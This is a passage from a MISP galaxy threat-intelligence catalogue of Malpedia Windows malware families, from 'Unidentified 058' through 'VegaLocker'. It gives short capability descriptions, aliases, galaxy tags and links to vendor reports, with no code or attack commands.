<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-return-of-the-bom/90065/">https://securelist.com/the-return-of-the-bom/90065/</a></td>
</tr>
</tbody>
</table>

**Unidentified 066**

This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.

The tag is: `misp-galaxy:malpedia="Unidentified 066"

Unidentified 066 is also known as:

*Table 4377. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_066">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_066</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/669.html">https://s.tencent.com/research/report/669.html</a></td>
</tr>
</tbody>
</table>

**Unidentified 067**

The tag is: `misp-galaxy:malpedia="Unidentified 067"
Unidentified 067 is also known as:

Table 4378. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_067">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_067</a></td>
</tr>
<tr>
<td><a href="https://s.tencent.com/research/report/831.html">https://s.tencent.com/research/report/831.html</a></td>
</tr>
</tbody>
</table>

**Unidentified 068**

The tag is: `misp-galaxy:malpedia="Unidentified 068"`

Unidentified 068 is also known as:

Table 4379. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_068</a></td>
</tr>
</tbody>
</table>

**Unidentified 069 (Zeus Unnamed2)**

Zeus derivate, no known public references.

The tag is: `misp-galaxy:malpedia="Unidentified 069 (Zeus Unnamed2)"`

Unidentified 069 (Zeus Unnamed2) is also known as:

Table 4380. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069</a></td>
</tr>
<tr>
<td><a href="https://zeusmuseum.com/unnamed%202/">https://zeusmuseum.com/unnamed%202/</a></td>
</tr>
</tbody>
</table>

**Unidentified 070 (Downloader)**

Unidentified downloader, possibly related to KONNI.

The tag is: `misp-galaxy:malpedia="Unidentified 070 (Downloader)"`

Unidentified 070 (Downloader) is also known as:

Table 4381. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070</a></td>
</tr>
</tbody>
</table>
Unidentified 071 (Zeus Unnamed1)

The tag is: misp-galaxy:malpedia="Unidentified 071 (Zeus Unnamed1)"

Unidentified 071 (Zeus Unnamed1) is also known as:

Table 4382. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_071
https://zeusmuseum.com/unnamed%201/

Unidentified 072 (Metamorfo Loader)

MSI-based loader that has been observed as a stager for win.metamorfo.

The tag is: misp-galaxy:malpedia="Unidentified 072 (Metamorfo Loader)"

Unidentified 072 (Metamorfo Loader) is also known as:

Table 4383. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_072
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md

Unidentified 074 (Downloader)

The tag is: misp-galaxy:malpedia="Unidentified 074 (Downloader)"

Unidentified 074 (Downloader) is also known as:

Table 4384. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074

Unidentified 075

Unpacked http_dll.dat from the blog post.

The tag is: misp-galaxy:malpedia="Unidentified 075"

Unidentified 075 is also known as:
Unidentified 076 (Higaisa LNK to Shellcode)

The tag is: misp-galaxy:malpedia="Unidentified 076 (Higaisa LNK to Shellcode)"

Unidentified 076 (Higaisa LNK to Shellcode) is also known as:

Unidentified 077 (Lazarus Downloader)

The tag is: misp-galaxy:malpedia="Unidentified 077 (Lazarus Downloader)"

Unidentified 077 (Lazarus Downloader) is also known as:

Unidentified 078 (Zebrocy Nim Loader?)

Suspected Zebrocy loader written in Nim.

The tag is: misp-galaxy:malpedia="Unidentified 078 (Zebrocy Nim Loader?)"

Unidentified 078 (Zebrocy Nim Loader?) is also known as:
Unidentified 080

This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. It is also used by attackers to gather a target's data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler. Given that the Trojan is an HTTPS server itself, the SOCKS tunnel is used for targets without an external IP, so the C2 is able to send commands.

The tag is: misp-galaxy:malpedia="Unidentified 080"

Unidentified 080 is also known as:

Table 4389. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_080</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/luckymouse-ndisproxy-driver/87914/">https://securelist.com/luckymouse-ndisproxy-driver/87914/</a></td>
</tr>
</tbody>
</table>

Unidentified 081 (Andariel Ransomware)

Kaspersky Labs observed Andariel to drop this ransomware in one case within a series of attacks carried out against targets in South Korea in April 2021.

The tag is: misp-galaxy:malpedia="Unidentified 081 (Andariel Ransomware)"

Unidentified 081 (Andariel Ransomware) is also known as:

Table 4390. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_081</a></td>
</tr>
</tbody>
</table>

Unidentified 083 (AutoIT Stealer)

The tag is: misp-galaxy:malpedia="Unidentified 083 (AutoIT Stealer)"

Unidentified 083 (AutoIT Stealer) is also known as:

Table 4391. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Unidentified 085

A RAT written in .NET, potentially used by Transparent Tribe.

The tag is: misp-galaxy:malpedia="Unidentified 085"

Unidentified 085 is also known as:

Table 4392. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_085">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_085</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2021/09/14/apt-group-targets-indian-defense-officials-through-enhanced-ttps/">https://blog.cyble.com/2021/09/14/apt-group-targets-indian-defense-officials-through-enhanced-ttps/</a></td>
</tr>
</tbody>
</table>

Unidentified 087

Symantec describes this family as an unidentified tool set used to target a range of organizations in South East Asia. The campaign was first noticed in September 2020.

The tag is: misp-galaxy:malpedia="Unidentified 087"

Unidentified 087 is also known as:

Table 4393. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087</a></td>
</tr>
</tbody>
</table>

Unidentified 088 (Nim Ransomware)

Ransomware written in Nim.

The tag is: misp-galaxy:malpedia="Unidentified 088 (Nim Ransomware)"

Unidentified 088 (Nim Ransomware) is also known as:

Table 4394. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_088</a></td>
</tr>
</tbody>
</table>
### Unidentified 091

Avast found this unidentified RAT, which abuses a code-signing certificate by the Philippine Navy. It is statically linked against OpenSSL 1.1.1g.

The tag is: `misp-galaxy:malpedia="Unidentified 091"`

Unidentified 091 is also known as:

**Table 4395. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091</a></td>
</tr>
</tbody>
</table>

### Unidentified 092 (Confucius Backdoor)

According to Antiy CERT, this is a C++ backdoor that was first discovered in an attack by Confucius in September 2020. Its main functions include creating scheduled tasks, retrieving process information, retrieving network adapter information, retrieving disk drive information, uploading files, downloading files, executing files, and providing shell access.

The tag is: `misp-galaxy:malpedia="Unidentified 092 (Confucius Backdoor)"

Unidentified 092 (Confucius Backdoor) is also known as:

**Table 4396. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092</a></td>
</tr>
<tr>
<td><a href="https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ">https://mp.weixin.qq.com/s/n6XQAGtNEXfPZXp1mlwDTQ</a></td>
</tr>
</tbody>
</table>

### Unidentified 093 (Sidewinder)

Check Point Research observed this malware being used by Sidewinder.

The tag is: `misp-galaxy:malpedia="Unidentified 093 (Sidewinder)"

Unidentified 093 (Sidewinder) is also known as:

**Table 4397. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Unidentified 094

The tag is: `misp-galaxy:malpedia="Unidentified 094"`

Unidentified 094 is also known as:

- ClaimLoader
- PUBLOAD

Table 4398. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/katechondic/status/1556940169483264000">https://twitter.com/katechondic/status/1556940169483264000</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html">https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html</a></td>
</tr>
</tbody>
</table>

Unidentified 095 (Iranian Wiper)

Wiper, using EldoS RawDisk for low level access to disks.

The tag is: `misp-galaxy:malpedia="Unidentified 095 (Iranian Wiper)"`

Unidentified 095 (Iranian Wiper) is also known as:

Table 4399. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-264a">https://www.cisa.gov/uscert/ncas/alerts/aa22-264a</a></td>
</tr>
</tbody>
</table>

Unidentified 096 (Keylogger)

Keylogger.

The tag is: `misp-galaxy:malpedia="Unidentified 096 (Keylogger)"`

Unidentified 096 (Keylogger) is also known as:
Unidentified 097 (Polonium Keylogger)

The tag is: `misp-galaxy:malpedia="Unidentified 097 (Polonium Keylogger)"`

Unidentified 097 (Polonium Keylogger) is also known as:

Table 4401. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_097">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_097</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/">https://www.welivesecurity.com/2022/10/11/polonium-targets-israel-creepy-malware/</a></td>
</tr>
</tbody>
</table>

Unidentified 098 (APT29 Slack Downloader)

The tag is: `misp-galaxy:malpedia="Unidentified 098 (APT29 Slack Downloader)"`

Unidentified 098 (APT29 Slack Downloader) is also known as:

Table 4402. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_098</a></td>
</tr>
<tr>
<td><a href="https://ti.qianxin.com/blog/articles/analysis-of-apt29%27s-attack-activities-against-italy/">https://ti.qianxin.com/blog/articles/analysis-of-apt29%27s-attack-activities-against-italy/</a></td>
</tr>
<tr>
<td><a href="https://www.freebuf.com/articles/paper/339618.html">https://www.freebuf.com/articles/paper/339618.html</a></td>
</tr>
<tr>
<td><a href="https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/">https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/</a></td>
</tr>
</tbody>
</table>

Unidentified 099 (APT29 Dropbox Loader)

This malware uses DropBox for C2 and was spread via spear-phishing attack at government organizations. It is different from win.boombox, which is another APT29 attributed malware using DropBox (written in .NET).

The tag is: `misp-galaxy:malpedia="Unidentified 099 (APT29 Dropbox Loader)"`

Unidentified 099 (APT29 Dropbox Loader) is also known as:
### Unidentified 100 (APT-Q-12)

The tag is: `misp-galaxy:malpedia="Unidentified 100 (APT-Q-12)"

Unidentified 100 (APT-Q-12) is also known as:

### Unidentified 103 (FIN8)

A malware that uses .NET to load unmanaged (shell)code which has some resemblance to BADHATCH, the IP found in the sample was referred to in coverage on WHITERABBIT ransomware attacks.

The tag is: `misp-galaxy:malpedia="Unidentified 103 (FIN8)"

Unidentified 103 (FIN8) is also known as:

- Sardonic

### Unidentified 104

The tag is: `misp-galaxy:malpedia="Unidentified 104"

Unidentified 104 is also known as:
Unidentified 105

The tag is: `misp-galaxy:malpedia="Unidentified 105"`

Unidentified 105 is also known as:

Table 4407. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/jaydinbas/status/1663916211975987201">https://twitter.com/jaydinbas/status/1663916211975987201</a></td>
</tr>
</tbody>
</table>

Unidentified 106

This is possibly related to the MATA framework / Dacls.

The tag is: `misp-galaxy:malpedia="Unidentified 106"`

Unidentified 106 is also known as:

Table 4408. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705/detection">https://www.virustotal.com/gui/file/3c1cfc2b8b7e5c2d713ec5f329aa58a6b56a08240199761ba6da91e719d30705/detection</a></td>
</tr>
</tbody>
</table>

Unidentified 107 (APT29)

Small shellcode downloader, likely used by APT29.

The tag is: `misp-galaxy:malpedia="Unidentified 107 (APT29)"`

Unidentified 107 (APT29) is also known as:

- ICEBEAT

Table 4409. Table References
Unidentified 108

The tag is: `misp-galaxy:malpedia="Unidentified 108"

Unidentified 108 is also known as:

Table 4410. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_107</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/2344-2/">https://lab52.io/blog/2344-2/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing">https://www.mandiant.com/resources/blog/apt29-evolving-diplomatic-phishing</a></td>
</tr>
</tbody>
</table>

Unidentified 109 (Lazarus?)

The tag is: `misp-galaxy:malpedia="Unidentified 109 (Lazarus?)"

Unidentified 109 (Lazarus?) is also known as:

Table 4411. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_109</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1689533484597952514">https://twitter.com/malwrhunterteam/status/1689533484597952514</a></td>
</tr>
</tbody>
</table>

Unidentified 110 (RustyFlag)

According to Deep Instinct, this information stealer is written in Rust and was observed in Operation Rusty Flag.
The tag is: misp-galaxy:malpedia="Unidentified 110 (RustyFlag)"

Unidentified 110 (RustyFlag) is also known as:

Table 4412. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110">https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/blog/operation-rusty-flag-a-malicious-campaign-against-azerbaijanian-targets">https://www.deepinstinct.com/blog/operation-rusty-flag-a-malicious-campaign-against-azerbaijanian-targets</a></td>
</tr>
</tbody>
</table>

Unlock92

The tag is: misp-galaxy:malpedia="Unlock92"

Unlock92 is also known as:

Table 4413. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92">https://malpedia.caad.fkie.fraunhofer.de/details/win.unlock92</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/bartblaze/status/976188821078462465">https://twitter.com/bartblaze/status/976188821078462465</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/struppigel/status/810753660737073153">https://twitter.com/struppigel/status/810753660737073153</a></td>
</tr>
</tbody>
</table>

UPAS

The tag is: misp-galaxy:malpedia="UPAS"

UPAS is also known as:

- Rombrast

Table 4414. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.upas">https://malpedia.caad.fkie.fraunhofer.de/details/win.upas</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/">https://research.checkpoint.com/deep-dive-upas-kit-vs-kronos/</a></td>
</tr>
<tr>
<td><a href="https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html">https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html</a></td>
</tr>
</tbody>
</table>

Upatre

Upatre is primarily a downloader. It has been discovered in 2013 and since that time it has been widely updated. Upatre is responsible for delivering further malware to the victims, in specific upatre was a prolific delivery mechanism for Gameover P2P in 2013-2014 and then for Dyre in 2015.

The tag is: misp-galaxy:malpedia="Upatre"
Upatre is also known as:

Table 4415. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre">https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/">https://marcoramilli.com/2020/06/24/is-upatre-downloader-coming-back/</a></td>
</tr>
<tr>
<td><a href="https://secrary.com/ReversingMalware/Upatre/">https://secrary.com/ReversingMalware/Upatre/</a></td>
</tr>
<tr>
<td><a href="https://johannesbader.ch/2015/06/Wi...1-Unpacking/">https://johannesbader.ch/2015/06/Wi...1-Unpacking/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/">https://unit42.paloaltonetworks.com/ticked-off-upatre-malwares-simple-anti-analysis-trick-to-defeat-sandboxes/</a></td>
</tr>
</tbody>
</table>

Urausy

The tag is: misp-galaxy:malpedia="Urausy"

Urausy is also known as:

Table 4416. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy">https://malpedia.caad.fkie.fraunhofer.de/details/win.urausy</a></td>
</tr>
</tbody>
</table>

UrlZone

The tag is: misp-galaxy:malpedia="UrlZone"

UrlZone is also known as:

- Bebloh
- Shiotob

Table 4417. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone">https://malpedia.caad.fkie.fraunhofer.de/details/win.urlzone</a></td>
</tr>
</tbody>
</table>
**Uroburos (Windows)**

Uroburos is a driver for Windows, including a bypass of PatchGuard. According to Andrzej Dereszowski and Matthieu Kaczmarek, "the techniques used demonstrate [their] excellent knowledge of Windows kernel internals."

The tag is: `misp-galaxy:malpedia="Uroburos (Windows)"`

Uroburos (Windows) is also known as:

- Snake

---

### Table References

**Links**

- https://malpedia.caad.fkie.fraunhofer.de/details/win.uroburos
- https://www.gdatasoftware.com/blog/2014/05/23958-uroburos-rootkit-belgian-foreign-ministry-stricken
- https://www.circl.lu/pub/tr-25/
USBCulprit

According to Kaspersky, USBCulprit is a malware that is capable of scanning various paths in victim machines, collecting documents with particular extensions and passing them on to USB drives when they are connected to the system. It can also selectively copy itself to a removable drive in the presence of a particular file, suggesting it can be spread laterally by having designated drives infected and the executable in them opened manually.

The tag is: *misp-galaxy:malpedia=“USBCulprit”*

USBCulprit is also known as:

*Table 4419. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit">https://malpedia.caad.fkie.fraunhofer.de/details/win.usbculprit</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHpyrd/view">https://drive.google.com/file/d/11otA_VmL061KcFC5MhDYuNdIKHpyrd/view</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/cycldek-bridging-the-air-gap/97157/">https://securelist.com/cycldek-bridging-the-air-gap/97157/</a></td>
</tr>
</tbody>
</table>

USBferry

The tag is: *misp-galaxy:malpedia=“USBferry”*

USBferry is also known as:

*Table 4420. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/cycldek-bridging-the-air-gap/97157/">https://securelist.com/cycldek-bridging-the-air-gap/97157/</a></td>
</tr>
</tbody>
</table>
Vadokrist

ESET reports that Vadokrist is a Latin American banking trojan that they have been tracking since 2018 and that is active almost exclusively in Brazil.

The tag is: *misp-galaxy:malpedia*="Vadokrist"

Vadokrist is also known as:

*Table 4421. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist">https://malpedia.caad.fkie.fraunhofer.de/details/win.vadokrist</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/">https://www.welivesecurity.com/2021/01/21/vadokrist-wolf-sheeps-clothing/</a></td>
</tr>
</tbody>
</table>

Vaggen

The tag is: *misp-galaxy:malpedia*="Vaggen"

Vaggen is also known as:

*Table 4422. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vaggen">https://malpedia.caad.fkie.fraunhofer.de/details/win.vaggen</a></td>
</tr>
</tbody>
</table>

ValleyRAT

The tag is: *misp-galaxy:malpedia*="ValleyRAT"

ValleyRAT is also known as:

*Table 4423. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.valley_rat</a></td>
</tr>
</tbody>
</table>
VALUEVAULT

The tag is: misp-galaxy:malpedia="VALUEVAULT"

VALUEVAULT is also known as:

Table 4424. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault">https://malpedia.caad.fkie.fraunhofer.de/details/win.valuevault</a></td>
</tr>
<tr>
<td><a href="https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/">https://intezer.com/blog-new-iranian-campaign-tailored-to-us-companies-uses-updated-toolset/</a></td>
</tr>
<tr>
<td><a href="https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae">https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae</a></td>
</tr>
</tbody>
</table>

vanillarat

Description:

VanillaRat is an advanced remote administration tool coded in C#. VanillaRat uses the Telepathy TCP networking library, dnlib module reading and writing library, and Costura.Fody dll embedding library. Features:

- Remote Desktop Viewer (With remote click)
- File Browser (Including downloading, drag and drop uploading, and file opening)
- Process Manager
- Computer Information
- Hardware Usage Information (CPU usage, disk usage, available ram)
- Message Box Sender
- Text To Speech
- Screen Locker
- Live Keylogger (Also shows current window)
- Website Opener
- Application Permission Raiser (Normal -> Admin)
- Clipboard Text (Copied text)
- Chat (Does not allow for client to close form)
- Audio Recorder (Microphone)
- Process Killer (Task manager, etc.)
- Remote Shell
- Startup
- Security Blacklist (Drag client into list if you don't want connection. Press del. key)
The tag is: misp-galaxy:malpedia="vanillarat"

vanillarat is also known as:

### Table 4425. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vanillarat">https://malpedia.caad.fkie.fraunhofer.de/details/win.vanillarat</a></td>
</tr>
<tr>
<td><a href="https://github.com/DannyTheSloth/VanillaRAT">https://github.com/DannyTheSloth/VanillaRAT</a></td>
</tr>
</tbody>
</table>

**VaporRage**

According to Mandiant, VaporRage or BOOMMIC, is a shellcode downloader written in C that communicates over HTTPS. Shellcode Payloads are retrieved from a hardcoded C2 that uses an encoded host_id generated from the target's domain and account name. BOOMMIC XOR decodes the downloaded shellcode payload in memory and executes it.

The tag is: misp-galaxy:malpedia="VaporRage"

VaporRage is also known as:

- BOOMMIC

### Table 4426. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage">https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns">https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns</a></td>
</tr>
</tbody>
</table>

**Varenyky**

In May 2019, ESET researchers observed a spike in ESET telemetry data regarding malware targeting France. After further investigations, they identified malware that distributes various types of spam. One of them is leading to a survey that redirects to a dodgy smartphone promotion while the other is a sextortion campaign. The spam targets the users of Orange S.A., a French ISP.

The tag is: misp-galaxy:malpedia="Varenyky"

Varenyky is also known as:

### Table 4427. Table References
Vawtrak

The tag is: `misp-galaxy:malpedia="Vawtrak"`

Vawtrak is also known as:

- Catch
- NeverQuest
- grabnew

Table 4428. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak">https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@Ilandu/vawtrak-malware-824818c1837">https://medium.com/@Ilandu/vawtrak-malware-824818c1837</a></td>
</tr>
<tr>
<td><a href="http://thehackernews.com/2017/01/neverquest-fbi-hacker.html">http://thehackernews.com/2017/01/neverquest-fbi-hacker.html</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest">https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/dyre-banking-trojan">https://www.secureworks.com/research/dyre-banking-trojan</a></td>
</tr>
<tr>
<td><a href="https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak">https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak</a></td>
</tr>
</tbody>
</table>

Veeam Dumper

Credential Stealer, written in .NET.

The tag is: `misp-galaxy:malpedia="Veeam Dumper"`
Veeam Dumper is also known as:

- Eamfo

Table 4429. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.veeam">https://malpedia.caad.fkie.fraunhofer.de/details/win.veeam</a></td>
</tr>
</tbody>
</table>

**VegaLocker**

Delphi-based ransomware.

The tag is: **misp-galaxy:malpedia="VegaLocker"**

VegaLocker is also known as:

- Buran
- Vega

Table 4430. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.vegalocker</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
